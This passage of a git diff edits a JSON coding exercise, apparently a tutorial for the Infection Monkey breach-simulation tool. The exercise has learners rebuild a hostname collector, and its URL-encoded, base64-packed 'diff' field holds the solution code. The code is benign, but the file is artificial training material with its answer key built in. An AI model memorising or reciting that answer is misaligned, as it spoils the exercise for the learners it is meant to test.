YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTA4MiUyMiU1RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMnN0cmluZyUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUQlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydGl0bGUlMjIlM0ElMjAlMjJIb3N0bmFtZSUyMGNvbGxlY3RvciUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJpbmZvJTIyJTNBJTIwJTIyQ29sbGVjdHMlMjBtYWNoaW5lJ3MlMjBob3N0bmFtZS4lMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTA4MiUyMiUyQyUyMCUyMlQxMDE2JTIyJTVEJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUyQyUwQSUyQiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMyUyMFNXSU1NRVIlM0ElMjBDb2xsZWN0b3IlMjBjb25maWclMjBnb2VzJTIwaGVyZS4lMjBUaXAlM0ElMjBIb3N0bmFtZSUyMGNvbGxlY3Rpb24lMjByZWxhdGVzJTIwdG8lMjB0aGUlMjBUMTA4MiUyMGFuZCUyMFQxMDE2JTIwdGVjaG5pcXVlcy4lMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ0eXBlJTIyJTNBJTIwJTIyc3RyaW5nJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZtb25rZXkucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGbW9ua2V5LnB5JTBBaW5kZXglMjBiNDdkNmExNS4uMWIxOTYyYTQlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGbW9ua2V5LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRm1vbmtleS5weSUwQSU0MCU0MCUyMC0xJTJDNyUyMCUyQjElMkM2JTIwJTQwJTQwJTBBJTIwZnJvbSUyMGNvbW1vbi5kYXRhLnN5c3RlbV9pbmZvX2NvbGxlY3RvcnNfbmFtZXMlMjBpbXBvcnQlMjAoQVdTX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEFaVVJFX0NSRURfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwRU5WSVJPTk1FTlRfQ09MTEVDVE9SJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyME1JTUlLQVRaX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBST0NFU1NfTElTVF9DT0xMRUNUT1IpJTBBJTIwJTBBJTQwJTQwJTIwLTg4JTJDNyUyMCUyQjg3JTJDNiUyMCU0MCU0MCUyME1PTktFWSUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmRlZmF1bHQlMjIlM0ElMjAlNUIlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBFTlZJUk9OTUVOVF9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBBV1NfQ09MTEVDVE9SJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBST0NFU1NfTElTVF9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBNSU1JS0FUWl9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBBWlVSRV9DUkVEX0NPTExFQ1RPUiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRnRlbGVtZXRyeSUyRnByb2Nlc3NpbmclMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JzJTJGaG9zdG5hbWUucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRmhvc3RuYW1lLnB5JTBBaW5kZXglMjBlMmRlNDUxOS4uMDRiYzM1NTYlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRmhvc3RuYW1lLnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGdGVsZW1ldHJ5JTJGcHJvY2Vzc2luZyUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnMlMkZob3N0bmFtZS5weSUwQSU0MCU0MCUyMC0xJTJDOSUyMCUyQjElMkM5JTIwJTQwJTQwJTBBJTIwaW1wb3J0JTIwbG9nZ2luZyUwQSUyMCUwQS1mcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5tb2RlbHMubW9ua2V5JTIwaW1wb3J0JTIwTW9ua2V5JTBBJTJCJTIzJTIwU1dJTU1FUiUzQSUyMFRoaXMlMjB3aWxsJTIwYmUlMjB1c2VmdWwlMjAlM0EpJTIwbW9ua2V5X2lzbGFuZC5jYy5tb2RlbHMubW9ua2V5Lk1vbmtleSUyMGhhcyUyMHRoZSUyMHVzZWZ1bCUwQSUyQiUyMyUyMCUyMmdldF9zaW5nbGVfbW9ua2V5X2J5X2d1aWQlMjIlMjBhbmQlMjAlMjJzZXRfaG9zdG5hbWUlMjIlMjBtZXRob2RzLiUwQSUyMCUwQSUyMGxvZ2dlciUyMCUzRCUyMGxvZ2dpbmcuZ2V0TG9nZ2VyKF9fbmFtZV9fKSUwQSUyMCUwQSUyMCUwQS1kZWYlMjBwcm9jZXNzX2hvc3RuYW1lX3RlbGVtZXRyeShjb2xsZWN0b3JfcmVzdWx0cyUyQyUyMG1vbmtleV9ndWlkKSUzQSUwQS0lMjAlMjAlMjAlMjBNb25rZXkuZ2V0X3NpbmdsZV9tb25rZXlfYnlfZ3VpZChtb25rZXlfZ3VpZCkuc2V0X2hvc3RuYW1lKGNvbGxlY3Rvcl9yZXN1bHRzJTVCJTIyaG9zdG5hbWUlMjIlNUQpJTBBJTJCJTIzJTIwU1dJTU1FUiUzQSUyMFByb2Nlc3NpbmclMjBmdW5jdGlvbiUyMGdvZXMlMjBoZXJlLiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRnRlbGVtZXRyeSUyRnByb2Nlc3NpbmclMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JzJTJGc3lzdGVtX2luZm9fdGVsZW1ldHJ5X2Rpc3BhdGNoZXIucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRnN5c3RlbV9pbmZvX3RlbGVtZXRyeV9kaXNwYXRjaGVyLnB5JTBBaW5kZXglMjA2MzlhMzkyYy4uN2FhNmQzYTYlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZ0ZWxlbWV0cnklMkZwcm9jZXNzaW5nJTJGc3lzdGVtX2luZm9fY29sbGVjdG9ycyUyRnN5c3RlbV9pbmZvX3RlbGVtZXRyeV9kaXNwYXRjaGVyLnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGdGVsZW1ldHJ5JTJGcHJvY2Vzc2luZyUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnMlMkZzeXN0ZW1faW5mb190ZWxlbWV0cnlfZGlzcGF0Y2hlci5weSUwQSU0MCU0MCUyMC0zJTJDMTQlMjAlMkIzJTJDMTElMjAlNDAlNDAlMjBpbXBvcnQlMjB0eXBpbmclMEElMjAlMEElMjBmcm9tJTIwY29tbW9uLmRhdGEuc3lzdGVtX2luZm9fY29sbGVjdG9yc19uYW1lcyUyMGltcG9ydCUyMChBV1NfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwRU5WSVJPTk1FTlRfQ09MTEVDVE9SJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBST0NFU1NfTElTVF9DT0xMRUNUT1IpJTBBJTIwZnJvbSUyMG1vbmtleV9pc2xhbmQuY2Muc2VydmljZXMudGVsZW1ldHJ5LnByb2Nlc3Npbmcuc3lzdGVtX2luZm9fY29sbGVjdG9ycy5hd3MlMjBpbXBvcnQlMjAlNUMlMEElMjAlMjAlMjAlMjAlMjBwcm9jZXNzX2F3c190ZWxlbWV0cnklMEElMjBmcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5zZXJ2aWNlcy50ZWxlbWV0cnkucHJvY2Vzc2luZy5zeXN0ZW1faW5mb19jb2xsZWN0b3JzLmVudmlyb25tZW50JTIwaW1wb3J0JTIwJTVDJTBBJTIwJTIwJTIwJTIwJTIwcHJvY2Vzc19lbnZpcm9ubWVudF90ZWxlbWV0cnklMEEtZnJvbSUyMG1vbmtleV9pc2xhbmQuY2Muc2VydmljZXMudGVsZW1ldHJ5LnByb2Nlc3Npbmcuc3lzdGVtX2luZm9fY29sbGVjdG9ycy5ob3N0bmFtZSUyMGltcG9ydCUyMCU1QyUwQS0lMjAlMjAlMjAlMjBwcm9jZXNzX2hvc3RuYW1lX3RlbGVtZXRyeSUwQSUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLnRlbGVtZXRyeS56ZXJvX3RydXN0X3Rlc3RzLmFudGl2aXJ1c19leGlzdGVuY2UlMjBpbXBvcnQlMjAlNUMlMEElMjAlMjAlMjAlMjAlMjB0ZXN0X2FudGl2aXJ1c19leGlzdGVuY2UlMEElMjAlMEElNDAlNDAlMjAtMTklMkM3JTIwJTJCMTYlMkM2JTIwJTQwJTQwJTIwbG9nZ2VyJTIwJTNEJTIwbG9nZ2luZy5nZXRMb2dnZXIoX19uYW1lX18pJTBBJTIwU1lTVEVNX0lORk9fQ09MTEVDVE9SX1RPX1RFTEVNRVRSWV9QUk9DRVNTT1JTJTIwJTNEJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwQVdTX0NPTExFQ1RPUiUzQSUyMCU1QnByb2Nlc3NfYXdzX3RlbGVtZXRyeSU1RCUyQyUwQSUyMCUyMCUyMCUyMCUyMEVOVklST05NRU5UX0NPTExFQ1RPUiUzQSUyMCU1QnByb2Nlc3NfZW52aXJvbm1lbnRfdGVsZW1ldHJ5JTVEJTJDJTBBLSUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUzQSUyMCU1QnByb2Nlc3NfaG9zdG5hbWVfdGVsZW1ldHJ5JTVEJTJDJTBBJTIwJTIwJTIwJTIwJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiUzQSUyMCU1QnRlc3RfYW50aXZpcnVzX2V4aXN0ZW5jZSU1RCUwQSUyMCU3RCUwQSUyMCUwQQ==",
     "tests": [],
     "hints": [
-        "First thing you should do is take a look at a different collector (like EnvironemntCollector) and 100% understand how it runs, how results are relayed back to the server, and how the server processes the data.",
+        "First thing you should do is take a look at a different collector (like EnvironmentCollector) and 100% understand how it runs, how results are relayed back to the server, and how the server processes the data.",
         "Try to run \"socket.getfqdn()\".",
-        "Take a look at SystemInfoCollector - that's the base class you'll need to implement",
+        "Take a look at SystemInfoCollector - that's the base class you'll need to implement.",
         "Make sure you add the new collector to the configuration in all relevant places, including making it ON by default!"
     ],
     "files": {
@@ -97,10 +101,6 @@
             ]
         }
     },
-    "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzLnB5JTIwYiUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzLnB5JTBBaW5kZXglMjAxNzVhMDU0ZS4uM2I0NzhkYzklMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnNfbmFtZXMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnNfbmFtZXMucHklMEElNDAlNDAlMjAtMSUyQzUlMjAlMkIxJTJDNSUyMCU0MCU0MCUwQSUyMEFXU19DT0xMRUNUT1IlMjAlM0QlMjAlMjJBd3NDb2xsZWN0b3IlMjIlMEEtSE9TVE5BTUVfQ09MTEVDVE9SJTIwJTNEJTIwJTIySG9zdG5hbWVDb2xsZWN0b3IlMjIlMEElMkIlMjMlMjBTV0lNTUVSJTNBJTIwQ29sbGVjdG9yJTIwbmFtZSUyMGdvZXMlMjBoZXJlLiUwQSUyMEVOVklST05NRU5UX0NPTExFQ1RPUiUyMCUzRCUyMCUyMkVudmlyb25tZW50Q29sbGVjdG9yJTIyJTBBJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiUyMCUzRCUyMCUyMlByb2Nlc3NMaXN0Q29sbGVjdG9yJTIyJTBBJTIwTUlNSUtBVFpfQ09MTEVDVE9SJTIwJTNEJTIwJTIyTWltaWthdHpDb2xsZWN0b3IlMjIlMEFkaWZmJTIwLS1naXQlMjBhJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnN5c3RlbV9pbmZvJTJGY29sbGVjdG9ycyUyRmhvc3RuYW1lX2NvbGxlY3Rvci5weSUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGc3lzdGVtX2luZm8lMkZjb2xsZWN0b3JzJTJGaG9zdG5hbWVfY29sbGVjdG9yLnB5JTBBaW5kZXglMjBhZTk1NjA4MS4uNGRjNjcwMWElMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnN5c3RlbV9pbmZvJTJGY29sbGVjdG9ycyUyRmhvc3RuYW1lX2NvbGxlY3Rvci5weSUwQSUyQiUyQiUyQiUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGc3lzdGVtX2luZm8lMkZjb2xsZWN0b3JzJTJGaG9zdG5hbWVfY29sbGVjdG9yLnB5JTBBJTQwJTQwJTIwLTElMkMxNiUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwaW1wb3J0JTIwbG9nZ2luZyUwQS1pbXBvcnQlMjBzb2NrZXQlMEEtJTBBLWZyb20lMjBjb21tb24uZGF0YS5zeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzJTIwaW1wb3J0JTIwSE9TVE5BTUVfQ09MTEVDVE9SJTBBLWZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnN5c3RlbV9pbmZvLnN5c3RlbV9pbmZvX2NvbGxlY3RvciUyMGltcG9ydCUyMCU1QyUwQS0lMjAlMjAlMjAlMjBTeXN0ZW1JbmZvQ29sbGVjdG9yJTBBJTIwJTBBJTIwbG9nZ2VyJTIwJTNEJTIwbG9nZ2luZy5nZXRMb2dnZXIoX19uYW1lX18pJTBBJTIwJTBBLSUwQS1jbGFzcyUyMEhvc3RuYW1lQ29sbGVjdG9yKFN5c3RlbUluZm9Db2xsZWN0b3IpJTNBJTBBLSUyMCUyMCUyMCUyMGRlZiUyMF9faW5pdF9fKHNlbGYpJTNBJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHN1cGVyKCkuX19pbml0X18obmFtZSUzREhPU1ROQU1FX0NPTExFQ1RPUiklMEEtJTBBLSUyMCUyMCUyMCUyMGRlZiUyMGNvbGxlY3Qoc2VsZiklMjAtJTNFJTIwZGljdCUzQSUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjByZXR1cm4lMjAlN0IlMjJob3N0bmFtZSUyMiUzQSUyMHNvY2tldC5nZXRmcWRuKCklN0QlMEElMkIlMjMlMjBTV0lNTUVSJTNBJTIwVGhlJTIwY29sbGVjdG9yJTIwY2xhc3MlMjBnb2VzJTIwaGVyZS4lMEFkaWZmJTIwLS1naXQlMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JfY2xhc3Nlcy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnN5c3RlbV9pbmZvX2NvbGxlY3Rvcl9jbGFzc2VzLnB5JTBBaW5kZXglMjA1ZjExM2Y0YS4uNzA0M2UyMjclMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JfY2xhc3Nlcy5weSUwQSUyQiUyQiUyQiUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnN5c3RlbV9pbmZvX2NvbGxlY3Rvcl9jbGFzc2VzLnB5JTBBJTQwJTQwJTIwLTElMkM3JTIwJTJCMSUyQzYlMjAlNDAlNDAlMEElMjBmcm9tJTIwY29tbW9uLmRhdGEuc3lzdGVtX2luZm9fY29sbGVjdG9yc19uYW1lcyUyMGltcG9ydCUyMChBV1NfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwQVpVUkVfQ1JFRF9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBFTlZJUk9OTUVOVF9DT0xMRUNUT1IlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwSE9TVE5BTUVfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwTUlNSUtBVFpfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiklMEElMjAlMEElNDAlNDAlMjAtMzclMkMxNSUyMCUyQjM2JTJDNyUyMCU0MCU0MCUyMFNZU1RFTV9JTkZPX0NPTExFQ1RPUl9DTEFTU0VTJTIwJTNEJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyaW5mbyUyMiUzQSUyMCUyMklmJTIwb24lMjBBV1MlMkMlMjBjb2xsZWN0cyUyMG1vcmUlMjBpbmZvcm1hdGlvbiUyMGFib3V0JTIwdGhlJTIwQVdTJTIwaW5zdGFuY2UlMjBjdXJyZW50bHklMjBydW5uaW5nJTIwb24uJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTA4MiUyMiU1RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMnN0cmluZyUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUQlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydGl0bGUlMjIlM0ElMjAlMjJIb3N0bmFtZSUyMGNvbGxlY3RvciUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJpbmZvJTIyJTNBJTIwJTIyQ29sbGVjdHMlMjBtYWNoaW5lJ3MlMjBob3N0bmFtZS4lMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTA4MiUyMiUyQyUyMCUyMlQxMDE2JTIyJTVEJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUyQyUwQSUyQiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMyUyMFNXSU1NRVIlM0ElMjBDb2xsZWN0b3IlMjBjb25maWclMjBnb2VzJTIwaGVyZS4lMjBUaXAlM0ElMjBIb3N0bmFtZSUyMGNvbGxlY3Rpb24lMjBy